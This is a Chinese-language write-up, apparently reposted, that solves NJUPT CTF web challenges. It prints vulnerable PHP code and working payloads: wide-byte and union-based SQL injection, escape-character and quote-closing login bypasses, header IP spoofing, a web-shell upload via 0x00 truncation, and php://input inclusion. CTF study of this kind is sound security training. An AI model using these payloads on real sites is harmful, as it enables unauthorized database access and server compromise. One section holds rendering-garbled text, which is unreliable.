100字范文,内容丰富有趣,生活中的好帮手!
100字范文 > 南邮CTF——WEB Write Up

南邮CTF——WEB Write Up

时间:2024-05-13 22:26:46

相关推荐

南邮CTF——WEB Write Up

南邮CTF——WEB Write Up

md5 collision——md5弱类型

题目:md5 collision

<?php$md51 = md5('QNKCDZO');$a = @$_GET['a'];$md52 = @md5($a);if(isset($a)){if ($a != 'QNKCDZO' && $md51 == $md52) {echo "nctf{*****************}";} else {echo "false!!!";}}else{echo "please input a";}?>

一个数字和一个字符串进行比较,PHP会把字符串转换成数字再进行比较。

PHP转换的规则的是:若字符串以数字开头,则取开头数字作为转换结果,若无则输出0。例如:123abc转换后应该是123,而abc则为0,0==0这当然是成立的啦!

所以,0 ==’abc’是成立的。当有一个对比参数是整数的时候,会把另外一个参数强制转换为整数。

因此,给a传值240610708,得到网页输出的flag为nctf{md5_collision_is_easy}

签到2 —— 字节数不够

方法一:

修改前端提示:请输入口令zhimakaimen

修改前端,把10改为20

方法二:

方法二:截包把zhimakaime改成zhimakaimen即可

这题不是web——图片下载记事本打开

看到2.gif,下载,用记事本或者winhex打开

层层递进——htm网页源码

看到so.html,试着点进去 再点so.htm,一直点到404,看到答案

大神文章

MYSQL——robots.txt

题目:MYSQL

看到提示:robots.txt,点百度百科链接进去,发现真的是百度百科… 御剑扫一下后台 发现果然有robots.txt,从网页打开看看是什么 看到中文乱码,保存到txt中再打开(相当于用utf-8解码) 发现flag不在这…继续看网站下的其他文件,发现有个sql.php,但是打不开再回头看刚刚打开的那个页面,发现:,这里给了提示

<?phpif($_GET[id]) {mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);mysql_select_db(SAE_MYSQL_DB);$id = intval($_GET[id]);$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));if ($_GET[id]==1024) {echo "<p>no! try again</p>";} else{echo($query[content]); }}?>

分析这段代码if ($_GET[id]==1024) { echo "<p>no! try again</p>"; } else{ echo($query[content]); }

要求id!=1024,get传参尝试一下/sql.php?id=1023id =1025发现显示的貌似不是flag再关注1024,思考可能内容就在id=1024里面,但代码判断不能是1024才显示那我们就要想有什么可以等效1024,但不等于1024很容易想到时mysql的精度问题,输入1024.1试试 就可以得到flag:the flag is:nctf{query_in_mysql}

GBK Injection——宽字节注入

打开网页,发现 显然,绕过输入1’看下结果 过滤了单引号’

1.记录此题,主要学习关于宽字节注入。原理:在GBK编码时,mysql会认为两个字符是一个汉字(在前一个字节的ascii码大于128的情况下)。而经过转义之后的单引号’会变为’,即%5c%27。构造id=1%df%27%23,在经过转义传递给mysql时,就是id=1%df%5c%27%23,mysql在解析时,会认为%df%5c是一个汉字,而%27就会闭合掉原本sql语句中的(左)单引号,即select xxx from xxx where id=’%df%5c’#’,%23用于注释掉原本sql语句中的(右)单引号。这就是宽字节注入的原理。

2.构造注入:先查看数据库:/SQL-GBK/index.php?id=-1%df%27 union select null,database()--+sae-chinalover然后查表:/SQL-GBK/index.php?id=-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+这个比较过分,有5个表:ctf,ctf2,ctf3,ctf4,news 因为引号被过滤,按常规的注入,得绕很多。这里猜测flag字段为flag,然后一个一个表查,发现是在表ctf4 语句为:/SQL-GBK/index.php?id=-1%d6%27 union select 1,(select flag from ctf4) --+更换表名查即可。

bypass again——弱类型

Md5弱类型,输入两串字符使其相等a=240610708&b=QNKCDZO 伪装者——伪造Client-IP 要求本地登陆用brup抓包,在Request头部添加Client-IP: 127.0.0.1即可,伪造ip,按理来说添加X-Forward-For:127.0.0.1应该也可以,但是在这不行,只显示了一个flag。

上传绕过 —— 文件上传 / 00截断

传个一句话木马,提示仅支持上传相应后缀文件 传图片,提示后缀为php???

把ma.php改为ma.png,上传抓包试一下

附:文件上传检测的基本思路/wy_97/article/details/76549761

/lpost/30ae63ff_1c6f8f0d0

一般按照思路逐步尝试即可,简单的大小写,加后缀不可过,此题无js,猜测为0x00截断上传,此处仔细分析何为0x00截断上传及其原理 简单举个例子:<% path="upfiles/picture/" file="1212.jpg" upfilename=path & file '最后的上传地址 %>upfilename即为最终名字,意思为如果地址为picture/1.php+,文件名为1.jpg则最终上传上去的文件路径为picture/1.php+1.jpg,0x00截断的思路即为将+之后的内容忽略掉,使上传文件1.jpg最终上传到1.php中,此处利用到的就是0x00的截断漏洞,下面用题目做具体说明: 首先bp上传图片,将数据包发到repeater,并对/uploads/后面加上1.php+,此处相当于上述例子中的path: 然后打开hex(16进制),找到+对应的编码: 0x00的意思为16进制00,所以讲+对应的进制改成00(至于怎么找到对应代码,看右边对应代码,找到第几行,从左到右,每个字母对应一个代码),改完直接go SQL注入1 —— 闭合符号看题明显是考察代码审计Secure Web Login<?phpif($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = trim($_POST[user]); $pass = md5(trim($_POST[pass])); $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; echo ''.$sql; $query = mysql_fetch_array(mysql_query($sql)); if($query[user]=="admin") { echo "

Logged in! flag:********************

"; } if($query[user] != "admin") { echo("

You are not admin!

"); }}echo $query[user];?> Source 通过这句话: s q l = " s e l e c t u s e r f r o m c t f w h e r e ( u s e r = ′ " . sql="select user from ctf where (user='". sql="selectuserfromctfwhere(user=′".user."’) and (pw=’". p a s s . " ′ ) " ; 可 以 发 现 闭 合 符 号 为 ’ ) 通 过 这 句 话 : i f ( pass."')";可以发现闭合符号为’)通过这句话: if( pass."′)";可以发现闭合符号为’)通过这句话:if(query[user]==“admin”) { echo "

Logged in! flag:********************

";可以发现题目需要用户名为admin因此在username处输入admin’)#

pass check —— 数组

题目:$pass=@$_POST['pass'];$pass1=***********;//被隐藏起来的密码if(isset($pass)){if(@!strcmp($pass,$pass1)){echo "flag:nctf{*}";}else{echo "the pass is wrong!";}}else{echo "please input pass!";}?>post方式提交参数pass和pass1F12,POST DATA:pass[]=1&pass1[]=1得到flag

起名字真难 ——弱类型

<?phpfunction noother_says_correct($number){$one = ord('1'); $nine = ord('9');for ($i = 0; $i < strlen($number); $i++) {$digit = ord($number{$i});if ( ($digit >= $one) && ($digit <= $nine) ) {return false;} } return $number == '54975581388';}$flag='*******';if(noother_says_correct($_GET['key'])) echo $flag;else echo 'access denied';?> `

要求get传参,且数组key的值要与54975581388相等分析源码,可知必须等于目标数字但又不能为数字,转化为16进制后可满足要求。用win自带的计算器,切换到程序员模式 Get传参,

0xccccccccc 密码重置 —— BP

题目要求: 题目要求我们将用户名改为admin,F12查看发现不能修改: 然后抓包,我们发现了三个可疑的地方,1、2处先后url解码、base64解码时ctfuser,所以我们将admin的base64、url编码替换1、2,然后将3处改为admin: 或者直接改Params下的user1和user: 改为: 注意user1是用了base64加密得到flag:nctf{reset_password_often_have_vuln}

SQL Injection——反斜杠 转义

题目:继续注入吧!

TIP:反斜杠可以用来转义 仔细查看相关函数的用法网页源代码:

<!--#GOAL: login as admin,then get the flag;error_reporting(0);require 'db.inc.php'; function clean($str){if(get_magic_quotes_gpc()){$str=stripslashes($str);} return htmlentities($str, ENT_QUOTES);}$username = @clean((string)$_GET['username']);$password = @clean((string)$_GET['password']);$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';$result=mysql_query($query);if(!$result || mysql_num_rows($result) < 1){die('Invalid password!');}echo $flag;-->Invalid password!

注意上面clean function中的htmlentities()函数,它会把输入字符中的 ’ 或者 ” 转变为html实体,这样一来就无法闭合源代码中的 ’ 了,还有就是,如果php的magic_quotes_gpc是开启状态的话,我们输入的转义符也会被去掉的,不过既然这道题目能做,说明我们是可以使用转义符 \ ,我们解这道题的关键就是使用转义符 \ 来让源代码中'SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'$username后面的失效,只要 这个 ’ 失效,就能闭合name=后面的 ’ ,要达到这一目的,我们只需要让username=admin \即可,让后使password的值为一个永真式(or 1=1)就可以得到这道题的flag 这样提交的数据,会导致源代码中的SQL语句变为:SELECT * FROM users WHERE name='admin \' AND pass=' or 1=1注入语句:?username=admin \&password=or 1=1%23//%23是#的URL编码 即可得到flag

综合题——jsfuck

打开题目,发现是这样一串字符 粘贴到jsfuck(/)里面解密 得到结果:1bc29b36f623ba82aaf6724fd3b16718.php查看该网页,发现 脑袋=head因此想到抓包 发现history of bash用法就是:/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history 打开提示一个zip文件,下载就好了/flagbak.zip

SQL注入2 ——post

if($_POST[user] && $_POST[pass]) {mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);mysql_select_db(SAE_MYSQL_DB); $user = $_POST[user];$pass = md5($_POST[pass]); $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {echo "<p>Logged in! Key: ntcf{**************} </p>"; } else {echo("<p>Log in failure!</p>"); }}?>```

在username框中输入:Username' and 0=1 union select "c4ca4238a0b923820dcc509a6f75849b"#在password框中输入:1

原理:最前面的单引号:闭合原文的where user=’AND 0=1 :为了使前面的表达式返回值为空,从而使select pw from php where user=’’ and 0=1这句话完全没用接着我们使用union select "c4ca4238a0b923820dcc509a6f75849b",直接把md5值作为返回值return给 s q l , 这 样 在 查 询 的 时 候 sql,这样在查询的时候 sql,这样在查询的时候query就会有值c4ca4238a0b923820dcc509a6f75849b这串数字是数字1经过md5 hash之后的结果,可以直接用md5(1)代替最后的#用来注释掉后面的东西

综合题2——未完

/p/0ab7c1a9110a 看到最后 有个链接 点进去 发现一个小提示

config.php:存放数据库信息,移植此CMS时要修改

index.php:主页文件

passencode.php:Funny公司自写密码加密算法库

say.php:用于接收和处理用户留言请求

sm.txt:本CMS的说明文档

sae的information_schema表好像没法检索,我在这里给出admin表结构create table admin ( id integer, username text, userpass text, )

各种乱点,发现第二条提示:查看页面源码有惊喜

回去看源码 发现有so.php

只有本公司浏览器才能用回到主页面,在搜索框中输入1,然后抓包 更改user-agent为Xlcteam Browser

密码重置2——swp

打开网页

观察了一些源代码,果然找到了管理员邮箱admin@

看下一个提示非正常关闭vi编辑器时会生成一个.swp文件

尝试/web14/submit.php.swp,

404错误

再尝试/web14/.submit.php.swp 得到提示

`if(!empty($token)&&!empty($emailAddress)){if(strlen($token)!=10) die('fail'); if($token!='0') die('fail'); $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'"; $r = mysql_query($sql) or die('db error'); $r = mysql_fetch_assoc($r); $r = $r['num']; if($r>0){echo $flag; }else{echo "澶辫触浜嗗憖"; }}

token要10,并且要=0,很快想到0e00000000得到flag:nctf{thanks_to_cumt_bxs}

file_get_contents ——文件包含

空白网页,题目中也没给提示,查看源码 /web23/?file=php://inputPost传参:meizijiu

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。